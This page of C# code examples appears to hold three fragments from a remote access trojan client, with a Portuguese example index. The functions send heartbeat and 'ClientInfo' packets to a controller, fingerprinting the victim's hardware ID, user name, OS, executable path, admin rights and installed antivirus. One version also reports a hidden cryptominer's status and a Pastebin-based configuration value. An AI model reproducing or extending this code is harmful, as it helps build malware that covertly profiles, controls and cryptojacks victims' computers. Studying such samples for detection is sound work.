Exemplo n.º 1
0
        public static void CheckServer(object obj)
        {
            MsgPack msgpack = new MsgPack();

            msgpack.ForcePathObject("Packet").AsString  = "Ping";
            msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}%   RAM {(int)TheMemCounter.NextValue()}%";
            Send(msgpack.Encode2Bytes());
        }
Exemplo n.º 2
0
        public static byte[] SendInfo()
        {
            MsgPack msgpack = new MsgPack();

            msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
            msgpack.ForcePathObject("HWID").AsString   = Methods.HWID();
            msgpack.ForcePathObject("User").AsString   = Environment.UserName.ToString();
            msgpack.ForcePathObject("OS").AsString     = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
                                                         Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
            msgpack.ForcePathObject("Path").AsString    = Process.GetCurrentProcess().MainModule.FileName;
            msgpack.ForcePathObject("Version").AsString = Settings.Version;
            msgpack.ForcePathObject("Admin").AsString   = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString().ToLower().Replace("true", "Administrator").Replace("false", "User");
            TheCPUCounter.NextValue();
            msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)TheCPUCounter.NextValue()}%   RAM {(int)TheMemCounter.NextValue()}%";
            return(msgpack.Encode2Bytes());
        }
Exemplo n.º 3
0
        public static byte[] SendInfo()
        {
            MsgPack msgpack = new MsgPack();

            msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
            msgpack.ForcePathObject("HWID").AsString   = Settings.Hwid;
            msgpack.ForcePathObject("User").AsString   = Environment.UserName.ToString();
            msgpack.ForcePathObject("OS").AsString     = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
                                                         Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
            msgpack.ForcePathObject("Path").AsString    = Process.GetCurrentProcess().MainModule.FileName;
            msgpack.ForcePathObject("Version").AsString = Settings.Version;
            msgpack.ForcePathObject("Admin").AsString   = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
            TheCPUCounter.NextValue();
            msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}   CPU {(int)TheCPUCounter.NextValue()}%   RAM {(int)TheMemCounter.NextValue()}%";
            msgpack.ForcePathObject("Pastebin").AsString    = Settings.Pastebin;
            msgpack.ForcePathObject("Antivirus").AsString   = Methods.Antivirus();
            return(msgpack.Encode2Bytes());
        }